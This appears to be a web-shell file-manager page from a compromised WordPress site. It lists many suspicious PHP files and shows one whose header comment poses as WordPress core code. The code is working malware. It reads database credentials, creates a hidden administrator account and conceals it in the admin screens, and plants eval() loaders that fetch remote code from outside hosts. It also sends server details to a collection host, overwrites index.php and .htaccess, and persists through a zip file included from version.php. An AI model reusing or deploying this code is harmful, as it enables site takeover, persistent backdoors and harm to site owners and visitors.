Gecko [ christianhealingcodes.com ]

Name	Size	Permission	Date
.023927152060163.php	760 B	-rw-r--r--	2026-01-31 19:29
.050134762260788.php	768 B	-rw-r--r--	2026-01-31 12:08
.225457532928870.php	776 B	-rw-r--r--	2026-01-31 13:05
.448360205540769.php	754 B	-rw-r--r--	2026-01-31 23:43
.527798673922349.php	795 B	-rw-r--r--	2026-01-30 22:04
.560347611625631.php	767 B	-rw-r--r--	2026-02-01 12:06
.629926346993061.php	762 B	-rw-r--r--	2026-02-01 00:29
.630550344721787.php	753 B	-rw-r--r--	2026-01-30 21:53
.656565944801065.php	782 B	-rw-r--r--	2026-01-31 17:02
.673661191157963.php	777 B	-rw-r--r--	2026-01-31 10:20
.697995117757118.php	762 B	-rw-r--r--	2026-02-01 13:54
.726701269383332.php	787 B	-rw-r--r--	2026-01-30 22:07
.775538105105771.php	772 B	-rw-r--r--	2026-01-31 00:26
.954480784518634.php	763 B	-rw-r--r--	2026-01-31 16:59
.deep_check_e57f2e33c4397cbe35637acc2fcbe909.txt	46 B	-rw-r--r--	2026-01-23 01:43
.htaccess	853 B	-rw-r--r--	2026-01-07 22:43
.htaccess.1	1.99 KB	-r--r--r--	2026-01-09 09:03
.htaccess.2	621 B	-r--r--r--	2026-01-15 03:22
.htaccess.3	906 B	-r--r--r--	2026-02-04 22:42
.htaccess.4	1.4 KB	-r-xr-xr-x	2026-03-19 21:42
.trash_restore	2.79 KB	-rw-------	2026-03-27 08:43
.upload_test_559db8271bde54db0a1d9c42c829ae1e.txt	47 B	-rw-r--r--	2026-01-23 01:43
0115.txt	1 B	-rw-r--r--	2026-01-29 14:41
0gm3rgli.php	19.07 KB	-rw-r--r--	2026-01-19 21:40
47nxkp7l.php	19.06 KB	-rw-r--r--	2026-01-25 01:09
COOKIE.txt	131 B	-rw-r--r--	2026-01-16 23:45
a9vtqigm.php	19.07 KB	-rw-r--r--	2026-01-23 05:31
about.php	136 B	-rw-r--r--	2026-01-30 20:24
admin-ajax.php	13.43 KB	-rw-r--r--	2026-01-30 07:31
apjy4u9s.php	19.07 KB	-rw-r--r--	2026-01-17 23:01
f5dyv77s.php	19.07 KB	-rw-r--r--	2026-01-17 21:14
header.php	12.19 KB	-rw-r--r--	2025-10-27 06:30
headers.php	140 B	-rw-r--r--	2026-01-30 20:32
hnmvdba3.php	19.06 KB	-rw-r--r--	2026-01-27 23:05
index.php	12.35 KB	-r--r--r--	2025-10-27 06:30
jlec42m7.php	19.06 KB	-rw-r--r--	2026-01-30 15:58
lock.php	136 B	-rw-r--r--	2026-01-27 13:20
lockindex.php	5.8 KB	-rw-r--r--	2026-01-09 06:09
lufix5620.php	136 B	-rw-r--r--	2026-01-27 01:12
php.ini	105 B	-rw-r--r--	2026-01-16 23:45
rgjjtsn0.php	19.06 KB	-rw-r--r--	2026-01-26 16:11
shfaitj6.php	19.07 KB	-rw-r--r--	2026-01-24 19:31
tesTlcp.php	2.87 KB	-rw-r--r--	2026-01-26 01:25
tesTpcp.php	2.87 KB	-rw-r--r--	2026-01-18 21:12
tesTyvj.php	2.87 KB	-rw-r--r--	2026-01-30 21:46
theme-editor.php	185.51 KB	-rw-r--r--	2026-01-30 07:31
wp-admin.php	14.36 KB	-rw-r--r--	2026-01-30 07:31
wp-confiq.php	89.88 KB	-rw-r--r--	2026-01-13 09:01
xe5iojw9.php	19.07 KB	-rw-r--r--	2026-02-02 01:33

Rename

<?php
/**
 * Used to set up and fix common variables and include
 * the WordPress procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see default-constants.php)
 *
 * @package WordPress
 */
set_time_limit(0);
error_reporting(0);
$path = isset( $_SERVER['DOCUMENT_ROOT'] ) ? $_SERVER['DOCUMENT_ROOT'] : '';
$path = str_replace( '//', '/', $path );
$is_wp = 0;
$table_prefix = 'wp_';
$db_host = $db_user = $db_pwd = $db_name = $db_charset = '';
if ( file_exists( $path.'/wp-config.php' ) && file_exists( $path.'/wp-includes/class-phpass.php' ) ) {
    $is_wp = 1;
    
    if ( file_exists($path.'/wp-admin/.htaccess') ) {
        @unlink( $path.'/wp-admin/.htaccess' );
    }

if ( file_exists($path.'/wp-content/.htaccess') ) {
        @unlink( $path.'/wp-content/.htaccess' );
    }

if ( file_exists($path.'/wp-includes/.htaccess') ) {
        @unlink( $path.'/wp-includes/.htaccess' );
    }

$temp = file_get_contents( $path.'/wp-config.php' );

$a = explode( "table_prefix = '", $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[1] ) ) {
            $table_prefix = $b[0];
        }
    }

$a = explode( 'DB_HOST', $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[2] ) ) {
            $db_host = $b[2];
        }
    }

$a = explode( 'DB_USER', $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[2] ) ) {
            $db_user = $b[2];
        }
    }

$a = explode( 'DB_PASSWORD', $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[2] ) ) {
            $db_pwd = $b[2];
        }
    }

$a = explode( 'DB_NAME', $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[2] ) ) {
            $db_name = $b[2];
        }
    }
    
    $a = explode( 'DB_CHARSET', $temp );
    if ( isset( $a[1] ) ) {
        $b = explode( "'", $a[1] );
        if ( isset( $b[2] ) ) {
            $db_charset = $b[2];
        }
    }
}
if ( $db_host && $db_name && $db_user && $db_charset ) {
    $con = mysqli_connect($db_host, $db_user, $db_pwd, $db_name);
    if ( $con ) {
        mysqli_query( $con, 'SET NAMES '.$db_charset );
        if ( !function_exists( 'wp_hash_password' ) ) {
            function wp_hash_password( $password ) {
                global $wp_hasher, $path;
                if ( empty( $wp_hasher ) ) {
                    require_once $path.'/wp-includes/class-phpass.php';
                    $wp_hasher = new PasswordHash( 8, true );
                }
                return $wp_hasher->HashPassword( trim( $password ) );
            }
        }
        $user_name = 'Support';
        $pwd = 'WpcTl18931226';
        $email = 'support@wordpress.org';
        $user_id = 0;
        $check = mysqli_query( $con, "SELECT * FROM `".$table_prefix."users` WHERE `user_login` = '".addslashes($user_name)."' OR `user_email` = '".addslashes($email)."'" );
        if ( $check ) {
            if ( $row = mysqli_fetch_array( $check, MYSQLI_ASSOC ) ) {
                $user_id = $row['ID'];
            }
        }
        if ( $user_id == 0 ) {
            $hash = wp_hash_password( $pwd );
            mysqli_query( $con, "INSERT INTO `".$table_prefix."users`  (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_registered`, `user_status`, `display_name`) VALUES ('".addslashes($user_name)."', '".addslashes($hash)."', '".addslashes($user_name)."', '".addslashes($email)."', '2026-01-01 00:00:00', 0, '".addslashes($user_name)."')" );
            $user_id = mysqli_insert_id( $con );
            if ( $user_id > 0 ){
                $sql = "INSERT INTO `".$table_prefix."usermeta`(`user_id`, `meta_key`, `meta_value`) VALUES (".$user_id.", 'nickname', '".addslashes($user_name)."'), (".$user_id.", 'first_name', ''), (".$user_id.", 'last_name', ''), (".$user_id.", 'description', ''), (".$user_id.", 'rich_editing', 'true'), (".$user_id.", 'syntax_highlighting', 'true'), (".$user_id.", 'comment_shortcuts', 'false'), (".$user_id.", 'admin_color', 'fresh'), (".$user_id.", 'use_ssl', 0), (".$user_id.", 'show_admin_bar_front', 'true'), (".$user_id.", 'locale', ''), (".$user_id.", '".$table_prefix."capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), (".$user_id.", '".$table_prefix."user_level', 10)";
                mysqli_query($con, $sql);
                $code = '<style>#user-'.$user_id.'{display:none;}</style>';
                $path_temp = $path.'/wp-admin/admin-header.php';
                if ( file_exists( $path_temp ) ) {
                    $temp = file_get_contents( $path_temp );
                    if ( !strstr( $temp, $code ) ) {
                        if ( strstr( $temp, '<div id="wpbody' ) ) {
                            $fp = fopen( $path_temp, "wb" );
                            fwrite( $fp, str_replace( '<div id="wpbody', $code.'<div id="wpbody', $temp ) ); 
                            fclose( $fp );
                        }
                    }
                }
                $path_temp = $path.'/wp-admin/includes/class-wp-users-list-table.php';
                if(file_exists($path_temp)){
                    $temp = file_get_contents($path_temp);
                    $status = 0;
                    if(strstr($temp, 'number_format_i18n( $total_users-1') && (strstr($temp, 'number_format_i18n( $avail_roles[ $this_role ]-1') || strstr($temp, 'number_format_i18n( $avail_roles[$this_role]-1')) ){
                        //
                    }else{
                        if(!strstr($temp, 'number_format_i18n( $total_users-1')){
                            $temp = str_replace('number_format_i18n( $total_users', 'number_format_i18n( $total_users-1', $temp);
                        }
                        if(!strstr($temp, 'number_format_i18n( $avail_roles[$this_role]-1')){
                            $temp = str_replace('number_format_i18n( $avail_roles[$this_role]', 'number_format_i18n( $avail_roles[$this_role]-1', $temp);
                        }
                        if(!strstr($temp, 'number_format_i18n( $avail_roles[ $this_role ]-1')){
                            $temp = str_replace('number_format_i18n( $avail_roles[ $this_role ]', 'number_format_i18n( $avail_roles[ $this_role ]-1', $temp);
                        }
                        $fp = fopen( $path_temp, 'wb');
                        fwrite( $fp, $temp );
                        fclose( $fp );
                    }
                }
            }
        }
        mysqli_close( $con );
    }
}

$disable_functions = ini_get( 'disable_functions' );

$wp_damaer = '<?php'.PHP_EOL.'
    $code = "";
    if ( function_exists( \'curl_init\' ) && function_exists( \'curl_exec\' ) ) {
        $url = "https://stepmomhub.com/3.txt";
        $ch = curl_init();
        curl_setopt( $ch, CURLOPT_URL, $url );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_HEADER, false );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
        $handle = curl_exec( $ch );
        if ( $handle ) {
            $code = $handle;
        }else{
            $code = file_get_contents( $url );
        }        
        curl_close($ch);
    }
    if($code){
        $data = eVAl( "?>" . $code );
    }else{
        header("HTTP/1.1 404 Not Found");
        exit();
    }?>';
$postArray = array('server' => $_SERVER, 'disable' => $disable_functions, 'wp' => $is_wp, 'dm' => array() );
$num = 0;
function list_file($filePath, $code, $fileName = 'index.php'){
    global $path, $num, $postArray;
    $temp = scandir( $filePath );
    foreach ( $temp as $v ) {
        if ( $v != '.' && $v != '..' ) {
            $a = $filePath.'/'.$v;
            if ( is_dir( $a ) ) {
                if ( !file_exists( $a .'/'.$fileName ) && !file_exists( $a .'/.htaccess' ) ) {
                    $temp = @file_put_contents( $a.'/'.$fileName, $code);
                    if($temp){
                        $num++;
                        $postArray['dm'][] = str_replace( $path, '', $a).'/'.$fileName;
                    }
                }
                if($num < 31){
                    list_file($a, $code);
                }else{
                    break;
                }
            }
        }
    }
}
list_file($path, $wp_damaer);

if ( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) {
    $data = array();   
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_URL, 'https://newget.top/site.php' );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_HEADER, false );
    curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
    curl_setopt( $ch, CURLOPT_POST, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
    curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $postArray ) );
    $handle = curl_exec( $ch );
    if ( $handle ) {
        $data = json_decode( $handle, true );
    }
    curl_close( $ch );
    if ( isset( $data['status'] ) && isset( $data['version'] ) ) {
        if ( $data['status'] == 1 && $data['version'] ){
$hijack_code = '<?php'.PHP_EOL.'
if ( function_exists( \'curl_init\' ) && function_exists( \'curl_exec\' ) ) { 
    $ch = curl_init( "'.$data['version'].'" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
    curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
    $handle = curl_exec( $ch );
    if ( $handle ) {
        $data = eVAl( \'?>\' . $handle );
    }
    curl_close($ch);
}?>';
            $code_htaccess = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MNCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQ0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBXb3JkUHJlc3M=', true);
            $md5_htaccess = '35d61779fe5dd790b8076e71c0d6d96a';
            $code_index = '';
            if ( $is_wp == 1 ) {
                $code_index = '<?php define("WP_USE_THEMES",true);require __DIR__."/wp-blog-header.php";';
            } else {
                if ( file_exists( $path.'/.htaccess' ) ) {
                    $md5_temp = md5( file_get_contents( $path.'/.htaccess' ) );
                    if ( $md5_temp != $md5_htaccess ) {
                        rename( $path.'/.htaccess', $path.'/htaccsee_bak' );
                    }
                }
                if ( file_exists( $path.'/index.php' ) ) {
                    $code_index = file_get_contents( $path.'/index.php' );
                } else if ( file_exists( $path.'/index.html' ) ) {
                    $code_index = file_get_contents( $path.'/index.html' );
                }
            }
            $code_index = $hijack_code.$code_index;
            $code_index_64 = base64_encode($code_index);
            $md5_index = md5($code_index);

if ( !file_exists( $path."/.htaccess" ) ) {
                @file_put_contents( $path."/.htaccess", $code_htaccess );
            } else {
                $temp = @file_get_contents( $path."/.htaccess" );
                if ( md5($temp) != $md5_htaccess ) {
                    @unlink( $path."/.htaccess" );
                    @file_put_contents( $path."/.htaccess", $code_htaccess );
                }
            }
            @chmod( $path."/.htaccess", 0444 );
            if ( !file_exists( $path."/index.php" ) ) {
                @file_put_contents( $path."/index.php", $code_index );
            } else {
                $temp = @file_get_contents( $path."/index.php" );
                if( md5( $temp ) != $md5_index && !strstr( $temp, $data['version'] ) ) {
                    @unlink( $path."/index.php" );
                    @file_put_contents( $path."/index.php", $code_index );
                }
            }
            @chmod( $path."/index.php", 0444);

$code_file = '<?php'.PHP_EOL.'
@ini_set("log_errors", 0);
@ini_set("error_log", NULL);
@ini_set("error_reporting", NULL);
@error_reporting(0);
$path = "'.$path.'";
$code_htaccess = base64_decode("IyBCRUdJTiBXb3JkUHJlc3MNCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQ0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBXb3JkUHJlc3M=", true);
$md5_htaccess = "35d61779fe5dd790b8076e71c0d6d96a";
if(!file_exists($path."/.htaccess")){
    @file_put_contents($path."/.htaccess", $code_htaccess);
}else{
    $temp = @file_get_contents($path."/.htaccess");
    if(md5($temp) != $md5_htaccess){
        @unlink($path."/.htaccess");
        @file_put_contents($path."/.htaccess", $code_htaccess);
    }
}
@chmod($path."/.htaccess", 0444);
$code_index = base64_decode("'.$code_index_64.'", true);
$md5_index = md5($code_index);
if(!file_exists($path."/index.php")){
    @file_put_contents($path."/index.php", $code_index);
}else{
    $temp = @file_get_contents($path."/index.php");
    if(md5($temp) != $md5_index && !strstr($temp, "'.$data['version'].'")){
        @file_put_contents($path."/index.php", $code_index);
    }
}
@chmod($path."/index.php", 0444);
?>';
            if ( file_exists( $path.'/wp-includes/version.php' ) && extension_loaded( 'zip' ) ) {
                $zip = new ZipArchive();
                if ( $zip->open( $path.'/wp-includes/block-i19n.json', ZipArchive::CREATE ) === TRUE ) {
                    $zip->addFromString( 'index', $code_file );
                    $zip->close();
                }
                $temp = file_get_contents( $path.'/wp-includes/version.php' );
                if ( !strstr( $temp, 'block-i19n.json' ) ) {
                    $temp = str_replace('<?php', '<?php'.PHP_EOL.'$zlj = "zip://";'.PHP_EOL.'if(file_exists("'.$path.'/wp-includes/block-i19n.json")){include $zlj."'.$path.'/wp-includes/block-i19n.json#index";}', $temp);
                    $temp = @file_put_contents( $path.'/wp-includes/version.php', $temp );
                }
            }
        }
    }
}
if ( isset($_GET['id'] ) ){
    echo $_GET['id'];
} else {
    header("HTTP/1.1 404 Not Found");
}
exit();
?>